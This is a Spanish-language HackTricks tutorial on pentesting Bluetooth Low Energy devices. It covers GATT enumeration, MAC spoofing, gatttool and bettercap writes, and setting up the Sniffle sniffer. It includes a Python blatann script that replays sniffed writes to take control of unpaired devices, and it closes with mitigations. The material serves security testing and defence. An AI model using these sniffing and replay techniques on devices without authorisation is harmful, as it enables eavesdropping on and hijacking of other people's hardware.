Pentesting BLE - Bluetooth Low Energy

Reading time: 9 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Introducción

Disponible desde la especificación Bluetooth 4.0, BLE usa solo 40 canales, cubriendo el rango de 2400 a 2483.5 MHz. En contraste, el Bluetooth tradicional usa 79 canales en ese mismo rango.

Los dispositivos BLE se comunican enviando advertising packets (beacons); estos paquetes anuncian la existencia del dispositivo BLE a otros dispositivos cercanos. Estos beacons a veces también envían datos.

El dispositivo receptor, también llamado dispositivo central, puede responder a un advertising packet con una SCAN request enviada específicamente al dispositivo que anuncia. La response a ese scan usa la misma estructura que el advertising packet con información adicional que no cabía en la petición de advertising inicial, como el nombre completo del dispositivo.

El byte de preámbulo sincroniza la frecuencia, mientras que las cuatro bytes del access address son un connection identifier, usado en escenarios donde múltiples dispositivos intentan establecer conexiones en los mismos canales. A continuación, la Protocol Data Unit (PDU) contiene los advertising data. Hay varios tipos de PDU; los más usados son ADV_NONCONN_IND y ADV_IND. Los dispositivos usan el tipo de PDU ADV_NONCONN_IND si no aceptan conexiones, transmitiendo datos solo en el paquete de advertising. Los dispositivos usan ADV_IND si permiten conexiones y dejan de enviar paquetes de advertising una vez que se ha establecido una connection.

GATT

El Perfil Genérico de Atributos (GATT) define cómo el dispositivo debe formatear y transferir datos. Cuando analizas la superficie de ataque de un dispositivo BLE, a menudo concentras tu atención en el GATT (o GATTs), porque es cómo se activa la funcionalidad del dispositivo y cómo se almacenan, agrupan y modifican los datos. El GATT lista las características, descriptors y services de un dispositivo en una tabla como valores de 16 o 32 bits. Una characteristic es un valor de data enviado entre el dispositivo central y el periférico. Estas characteristics pueden tener descriptors que proporcionan información adicional sobre ellas. Las characteristics a menudo se agrupan en services si están relacionadas con la ejecución de una acción particular.

Enumeración

bash
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up

# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66

GATTool

GATTool permite establecer una conexión con otro dispositivo, listar las características de ese dispositivo y leer y escribir sus atributos.
GATTTool puede iniciar un shell interactivo con la opción -I:

bash
gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
[A4:CF:12:6C:B3:76][LE]> characteristics
handle: 0x0002, char properties: 0x20, char value handle:
0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x02, char value handle:
0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb
[...]

# Write data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-write-req <characteristic handle> -n <value>
gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps)

# Read data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-read -a 0x16

# Read connecting with an authenticated encrypted connection
gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c

Bettercap

bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported

# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06

Sniffing y control activo de dispositivos BLE no emparejados

Muchos periféricos BLE de bajo costo no aplican pairing/bonding. Sin bonding, la encriptación del Link Layer nunca se habilita, por lo que el tráfico ATT/GATT queda en cleartext. Un sniffer off-path puede seguir la conexión, decodificar operaciones GATT para obtener los characteristic handles y valores, y cualquier host cercano puede entonces conectarse y reproducir esas writes para controlar el dispositivo.

Sniffing con Sniffle (CC26x2/CC1352)

Hardware: un Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) reflasheado con el Sniffle firmware de NCC Group.

Instalar Sniffle y su Wireshark extcap en Linux:

bash
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
sudo mkdir -p /opt/sniffle
sudo chown -R $USER:$USER /opt/sniffle
pushd /opt/sniffle
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
tar xvf v1.10.0.tar.gz
# Install Wireshark extcap for user and root only
mkdir -p $HOME/.local/lib/wireshark/extcap
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
sudo mkdir -p /root/.local/lib/wireshark/extcap
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
popd
else
echo "[+] - Sniffle already installed at 1.10.0"
fi

Flashear Sonoff con el firmware Sniffle (asegúrate de que tu dispositivo serial coincida, p. ej. /dev/ttyUSB0):

bash
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd

Captura en Wireshark vía el extcap Sniffle y cambia rápidamente a escrituras que modifican el estado filtrando:

text
_ws.col.info contains "Sent Write Command"

Esto resalta los ATT Write Commands del client; el handle y el value a menudo se corresponden directamente con acciones del dispositivo (p. ej., write 0x01 a una buzzer/alert characteristic, 0x00 para detener).

Ejemplos rápidos de Sniffle CLI:

bash
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap

Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin also works. On small/cheap Nordic dongles you typically overwrite the USB bootloader to load the sniffer firmware, so you either keep a dedicated sniffer dongle or need a J-Link/JTAG to restore the bootloader later.

Control activo vía GATT

Una vez que hayas identificado un writable characteristic handle y value a partir del sniffed traffic, conéctate como cualquier central y realiza la misma write:

  • Con Nordic nRF Connect for Desktop (BLE app):

  • Selecciona el dongle nRF52/nRF52840, escanea y conéctate al objetivo.

  • Explora la GATT database, localiza la target characteristic (a menudo tiene un friendly name, p. ej., Alert Level).

  • Realiza un Write con los sniffed bytes (p. ej., 01 para activar, 00 para parar).

  • Automatiza en Windows con un dongle Nordic usando Python + blatann:

python
import time
import blatann

# CONFIG
COM_PORT = "COM29"  # Replace with your COM port
TARGET_MAC = "5B:B1:7F:47:A7:00"  # Replace with your target MAC

target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")

# CONNECT
ble_device = blatann.BleDevice(COM_PORT)
ble_device.configure()
ble_device.open()
print(f"[-] Connecting to {TARGET_MAC}...")
peer = ble_device.connect(target_address).wait()
if not peer:
print("[!] Connection failed.")
ble_device.close()
raise SystemExit(1)

print("Connected. Discovering services...")
peer.discover_services().wait(5, exception_on_timeout=False)

# Example: write 0x01/0x00 to a known handle
for service in peer.database.services:
for ch in service.characteristics:
if ch.handle == 0x000b:  # Replace with your handle
print("[!] Beeping.")
ch.write(b"\x01")
time.sleep(2)
print("[+] And relax.")
ch.write(b"\x00")

print("[-] Disconnecting...")
peer.disconnect()
peer.wait_for_disconnect()
ble_device.close()

Notas operativas y mitigaciones

  • Prefiera Sonoff+Sniffle en Linux para un cambio de canal robusto y el seguimiento de conexiones. Mantenga un sniffer Nordic de repuesto como respaldo.
  • Sin pairing/bonding, cualquier atacante cercano puede observar escrituras y reproducir/forjar las suyas hacia características escribibles no autenticadas.
  • Mitigaciones: exigir pairing/bonding y aplicar cifrado; establecer permisos de las características para requerir escrituras autenticadas; minimizar las características escribibles no autenticadas; validar GATT ACLs con Sniffle/nRF Connect.

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks